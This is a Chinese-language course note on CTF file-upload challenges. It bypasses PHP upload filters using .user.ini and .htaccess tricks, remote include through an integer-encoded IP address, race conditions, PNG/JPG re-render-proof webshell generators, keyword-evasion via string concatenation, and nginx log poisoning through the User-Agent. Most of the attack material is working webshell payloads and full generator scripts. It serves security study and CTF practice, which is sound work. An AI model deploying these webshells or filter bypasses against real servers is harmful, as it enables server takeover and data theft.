小迪安全32WEB 攻防-通用漏洞&文件上传&二次渲染&.htaccess&变异免杀

#知识点:

1、文件上传-二次渲染

2、文件上传-简单免杀变异

3、文件上传-.htaccess 妙用

4、文件上传-PHP 语言特性

#详细点:

1、检测层面:前端,后端等

2、检测内容:文件头,完整性,二次渲染等

3、检测后缀:黑名单,白名单,MIME 检测等

4、绕过技巧:多后缀解析,截断,中间件特性,条件竞争等

#本章课程内容:

1、文件上传-CTF 赛题知识点

2、文件上传-中间件解析&编辑器安全

3、文件上传-实例 CMS 文件上传安全分析

#前置:

后门代码需要用特定格式后缀解析,不能以图片后缀解析脚本后门代码(解析漏洞除外)

如:jpg 图片里面有 php 后门代码,不能被触发,所以连接不上后门

如果要图片后缀解析脚本代码,一般会利用包含漏洞或解析漏洞,还有.user.ini&.htaccess

文件二次渲染:

1、判断上传前和上传后的文件大小及内容

2、判断上传后的文件返回数据包内容

162 突破.过滤

过滤 . () {} ;等关键字符,使无法使用.user.ini配置文件上传木马图

参考:https://www.bejson.com/convert/ip2int/

利用远程包含 IP 转换地址后门调用执行

原理:首先是因为网站中对关键字符的过滤,使我们不能以正常的payload填入进去(也就是eval等),为此我们利用include函数,去包含一个地址,此地址中的文件里是包含着payload的,由于地址的表达被过滤,所以需要IP地址转换进行绕过

.user.ini auto_prepend_file=png

png <?=include'http://794750069/'>

163 突破上传删除

过滤 . () {} ;等 同时文件被删除

和上题同样思路,发现报错显示找不到文件,就说明文件被删除了

  • 删除规则
  1. 什么都删除
  2. 后门代码删除
  • 条件竞争

在上传成功,立马访问,创建新代码(代码被执行后重新新建一个文件)

上传地址:upload/png

没上传之前一直访问upload post代码(利用php创建一个文件 若此文件会被删,则发送到其他目录下;若其他目录(根目录)也要被删,则可直接读取flag,然后发送到其他地址,让其他地址获得到对应的flag)

先当做最简单的处理------后门代码删除

直接利用.user.ini 包含远程

auto_prepend_file=http://794750069/

164 png 二次渲染

参考:https://blog.csdn.net/qq_40800734/article/details/105920149

文件二次渲染:

  1. 判断上传前和上传后的文件大小及内容

  2. 判断上传前和上传后的数据包内容

  3. 为什么同样是png,有些可以上传,有些不行:

说明还对图片进行过滤

2.文件上传后,可以观察对应的图片,说明什么:

查看对应的属性,发现二者不一样

本地png

上传png

得知,网站进行了二次渲染

利用php,建造一个二次渲染的图片

php 复制代码
<?php

$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,

           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,

           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,

           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,

           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,

           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,

           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,

           0x66, 0x44, 0x50, 0x33);


$img = imagecreatetruecolor(32, 32);


for ($y = 0; $y < sizeof($p); $y += 3) {

   $r = $p[$y];

   $g = $p[$y+1];

   $b = $p[$y+2];

   $color = imagecolorallocate($img, $r, $g, $b);

   imagesetpixel($img, round($y / 3), 0, $color);

}


imagepng($img,'2.png');  //要修改的图片的路径

/* 木马内容

<?$_GET[0]($_POST[1]);?>

 */


?>

对其进行上传

get 0=system

post 1=tac flag.php

分析:查看路径得知是.php的文件中执行的,这样就解释通之前的"前置"问题,如果路径是/upload/等这样的,就触发不了,需用.user.ini等文件进行触发,这里就包含了一个php文件------文件包含漏洞

165 jpg 二次渲染

发现也是一个文件包含

  1. 先上传 jpg 正常,返回包发现渲染

除了一般的属性改变以外,有些二次渲染会在图片添加一些字符信息

2.利用脚本生成木马图,上传 jpg 渲染后保存,生成带代码图片

php 复制代码
<?php
    $miniPayload = "<?=eval(\$_POST[1]);?>";

    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

调用执行:php jpg.php 1.jpg

在php的目录调用脚本对11.jpg进行加工

对其进行上传

166 zip 调用包含

直接上传 zip 后修改代码

<?=eval($_POST[x]);?>

将下载文件的地址拉过来,同理即可

167 .htaccess 妙用 htpd

.htaccess 默认不支持 nginx,设置后支持

.htaccess 可以通过设置实现文件解析配置 ,将.png 后缀的文件解析成 php

AddType application/x-httpd-php .png

将.png 后缀的文件解析成 php

这里的nginx是支持的。

168 免杀(脚本免杀)后门

允许上传php文件,但会对关键字进行过滤

<?php a='syste';b='m';c=a.b;c('tac ../flagaa.php');?>

169 170 日志包含

条件:

1.构造.user.ini 利用条件:上传 index.php 内容随意

即当构建出.user.ini和对应的.png,必须要有index.php才能有payload代码执行且内容可随便定义

2.PHP条件7版本

分析:之前的关卡,一个有索引,一个没有索引,说明一个可以利用一个不可以利用.user.ini

上传.user.ini 包含日志:auto_prepend_file=/var/log/nginx/access.log

上传.zip

修改后缀和类型,发现可以上传php

且发现文件在upload里,但没有索引

那创建个索引index.php出来,来满足.user.ini的条件

此时有索引了

包含日志文件,进行访问

读到

在UA上写入payload

上线成功

填入参数

相关推荐
用户9623779544813 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机16 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机16 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544818 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star18 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544821 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全